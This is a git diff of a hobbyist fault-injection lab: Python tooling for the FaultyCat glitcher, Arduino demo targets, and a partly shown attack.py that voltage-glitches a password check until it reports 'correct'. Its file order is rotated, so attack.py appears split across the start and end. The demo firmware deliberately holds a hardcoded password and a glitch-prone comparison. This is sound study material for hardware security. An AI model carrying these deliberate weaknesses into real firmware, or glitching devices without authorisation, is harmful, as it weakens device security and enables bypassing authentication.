+        sys.stdout.write("\r[*] ARMED BOARD.\n")
+        sys.stdout.flush()
+        time.sleep(1)
+
+        # Sending pulses and checking responses in a loop (up to 5 times)
+        max_iterations = 5
+        for i in range(max_iterations):
+            sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n")
+            sys.stdout.flush()
+
+            # Send the test message and check for pong
+            if send_test_message_and_read_response():
+
+                max_iterations_2 = 3
+                for j in range(max_iterations_2):
+                    # Send pulse and check for correct/incorrect response
+                    if send_pulse_and_check_response():
+                        break  # Break the loop if 'correct!' is received
+
+            # Small delay before next iteration
+            time.sleep(1)
+
+        # Disarm the board
+        sys.stdout.write("\rDISARMING BOARD.                          \n")
+        sys.stdout.flush()
+        faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+        faulty_worker.board_uart.close()
+        sys.stdout.write("\rBOARD DISARMED.\n")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError: {e}\n")
+        sys.stdout.flush()
+    finally:
+        # Make sure to clean up the child process
+        if child:
+            child.close()
+
+def faulty():
+    """Configure and send pulses through the FaultyCat."""
+    comport = DEFAULT_COMPORT
+
+    print("Configuring the FaultyCat...")
+    print(f"Using serial port: {comport}")
+
+    # Set the serial port
+    faulty_worker.set_serial_port(comport)
+
+    # Validate the serial connection
+    if not faulty_worker.validate_serial_connection():
+        print(f"Error: Could not establish connection on: {comport}")
+        return
+
+    # Start the faulty attack (send pulse)
+    start_faulty_attack()
+
+if __name__ == "__main__":
+    print("Starting FaultyCat...")
+    faulty()
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
new file mode 100644
index 0000000..ec5db1f
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino
@@ -0,0 +1,83 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+const String correctPassword = "secure123";  // Hardcoded password
+String inputString = "";                     // Variable to hold user input
+bool stringComplete = false;                 // Flag to indicate when a string is complete
+bool loggedIn = false;
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(200);  // Delay for initialization
+  Serial.print("[-]> ");
+}
+
+void prompt(){
+  // Reset for the next input without checking password
+  inputString = "";
+  stringComplete = false;
+  if(loggedIn == false){
+    Serial.print("[-]"); // not logged in 
+  }else{
+    Serial.print("[+]"); // logged in
+  }
+  Serial.print("> ");
+}
+
+void loop() {
+  // If the string is complete, process the input
+  if (stringComplete) {
+    // Glitch-prone section: making the comparison more complex and glitch-susceptible
+    volatile bool match = false;  // Using 'volatile' to increase glitch vulnerability
+    
+    // Introduce some artificial delays (vulnerable points for glitching)
+    for (volatile int i = 0; i < 100; i++) {
+      delayMicroseconds(1);  // Short delay to give more opportunity for glitches
+    }
+    
+    // Dummy operation: XOR password with itself (reversible) before comparison
+    volatile String tempPassword = correctPassword;
+    for (int i = 0; i < tempPassword.length(); i++) {
+      tempPassword[i] ^= 0xFF;  // XOR with 0xFF (dummy operation to increase complexity)
+      tempPassword[i] ^= 0xFF;  // XOR back to restore original password
+    }
+
+    // Check if input is "ping"
+    if (inputString == "ping") {
+      Serial.println("pong");  // Respond with "pong" if input is "ping"
+      prompt();
+      return;  // Exit the loop to avoid further processing (no "Password incorrect!" after "pong")
+    }
+    // Now compare the user input with the hardcoded password, but with timing window
+    else if (inputString == correctPassword) {
+      match = true;  // Passwords match
+    }
+
+    // Add a chance for glitches to affect this critical condition
+    if (match) {
+      Serial.println("Password correct!");
+      loggedIn = true;
+    } else {
+      Serial.println("Password incorrect!");
+    }
+    prompt();
+  }
+
+  // Listen for input from the user
+  while (Serial.available()) {
+    char inChar = (char)Serial.read();  // Read the incoming character
+    
+    // Check if it is the return character (indicating the end of input)
+    if (inChar == '\r' || inChar == '\n') {
+      stringComplete = true;
+    } else {
+      // Append the character to the input string
+      inputString += inChar;
+    }
+  }
+}
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
new file mode 100644
index 0000000..05d97a6
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
new file mode 100644
index 0000000..0aacecf
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py
@@ -0,0 +1,80 @@
+import cmd
+import typer
+from rich.console import Console
+from rich.table import Table
+
+
+def is_valid_number(number):
+    if number < 0:
+        raise typer.BadParameter("Number must be positive.")
+    return number
+
+class CMDInterface(cmd.Cmd):
+    intro = "Type help or ? to list commands.\n"
+    prompt = "?> "
+    file = None
+    doc_header = "Commands"
+    misc_header = "Misc Commands"
+    undoc_header = "Undocumented Commands"
+
+    def __init__(self, faulty_worker):
+        super().__init__()
+        self.faulty_worker = faulty_worker
+
+    def do_config(self, args):
+        """Configure the FaultyCat."""
+        print("Configuring the FaultyCat...")
+        table_config = Table(title="Board configuration")
+        table_config.add_column("Parameter", style="cyan")
+        table_config.add_column("Value", style="magenta")
+        table_config.add_row(
+            "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}"
+        )
+        table_config.add_row(
+            "Pulse time",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}",
+        )
+        table_config.add_row(
+            "Pulse power",
+            f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}",
+        )
+        table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}")
+        Console().print(table_config)
+
+    def do_set(self, args):
+        """Set a parameter."""
+        print("Setting a parameter...")
+        args_list = args.split()
+        if args == "help" or args == "?":
+            print("Available parameters:")
+            print("\t[time] pulse_time")
+            print("\t[count] pulse_count")
+            print("\tport")
+            return
+
+        if len(args_list) != 2:
+            print("Invalid number of arguments.")
+            return
+
+        if args_list[0] == "pulse_time" or args_list[0] == "time":
+            self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1])))
+
+        if args_list[0] == "pulse_count" or args_list[0] == "count":
+            self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1])))
+
+        if args_list[0] == "port":
+            self.faulty_worker.set_serial_port(args_list[1])
+            if not self.faulty_worker.validate_serial_connection():
+                typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED)
+                return
+
+        self.do_config(args)
+
+    def do_start(self, args):
+        """Start the FaultyCat."""
+        print("Starting the FaultyCat...")
+        self.faulty_worker.start_faulty_attack()
+
+    def do_exit(self, line):
+        """Exit the CLI."""
+        return True
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
new file mode 100644
index 0000000..f795f79
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py
@@ -0,0 +1,61 @@
+from enum import Enum
+
+class Commands(Enum):
+    COMMAND_HELP              = "h"
+    COMMAND_ARM               = "a"
+    COMMAND_DISARM            = "d"
+    COMMAND_PULSE             = "p"
+    COMMAND_ENABLE_TIMEOUT    = "en"
+    COMMAND_DISABLE_TIMEOUT   = "di"
+    COMMAND_FAST_TRIGGER      = "f"
+    COMMAND_FAST_TRIGGER_CONF = "fa"
+    COMMAND_INTERNAL_HVP      = "ih"
+    COMMAND_EXTERNAL_HVP      = "eh"
+    COMMAND_CONFIGURE         = "c"
+    COMMAND_TOGGLE_GPIO       = "t"
+    COMMAND_STATUS            = "s"
+    COMMAND_RESET             = "r"
+    
+    def __str__(self):
+        return self.value
+
+class BoardStatus(Enum):
+    STATUS_ARMED          = "armed"
+    STATUS_DISARMED       = "disarmed"
+    STATUS_CHARGED        = "charged"
+    STATUS_PULSE          = "pulsed"
+    STATUS_NOT_CHARGED    = "Not Charged"
+    STATUS_TIMEOUT_ACTIVE = "Timeout active"
+    STATUS_TIMEOUT_DEACT  = "Timeout deactivated"
+    STATUS_HVP_INTERVAL   = "HVP interval"
+    
+    def __str__(self):
+        return self.value
+    
+    @classmethod
+    def get_status_by_value(cls, value):
+        for status in cls.__members__.values():
+            if status.value == value:
+                return status
+        return None
+
+class ConfigBoard:
+    BOARD_CONFIG = {
+        "pulse_time" : 1.0,
+        "pulse_power": 0.012200,
+        "pulse_count": 1,
+        "port"       : "COM1"
+    }
+    def __init__(self) -> None:
+        self.board_config = ConfigBoard.BOARD_CONFIG
+        self.board_commands = Commands
+    
+    def get_config(self) -> dict:
+        return self.board_config
+
+    def set_config(self, config: dict) -> None:
+        self.board_config = config
+    
+    def __str__(self) -> str:
+        return f"Board config: {self.board_config}"
+    
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
new file mode 100644
index 0000000..3fd677f
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py
@@ -0,0 +1,97 @@
+import platform
+import serial
+import time
+import serial.tools.list_ports
+import threading
+
+from  .ConfigBoard import BoardStatus
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+DEFAULT_SERIAL_BAUDRATE = 921600
+
+class UART(threading.Thread):
+    def __init__(self, serial_port: str = DEFAULT_COMPORT):
+        self.serial_worker          = serial.Serial()
+        self.serial_worker.port     = serial_port
+        self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE
+        self.recv_cancel            = False
+        #self.daemon                 = True
+
+    def __del__(self):
+        self.serial_worker.close()
+
+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()
diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt
new file mode 100644
index 0000000..5ffdc64
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/requirements.txt
@@ -0,0 +1,9 @@
+click==8.1.7
+colorama
+markdown-it-py
+mdurl
+Pygments==2.17.2
+pyserial
+rich==13.7.0
+typer==0.9.0
+typing_extensions
diff --git a/README.md b/README.md
deleted file mode 100644
index 5ca94a8..0000000
--- a/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-Hardware
-===============
-
-A place for me to store my hardware experiments and scripts and useful tidbits
\ No newline at end of file

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
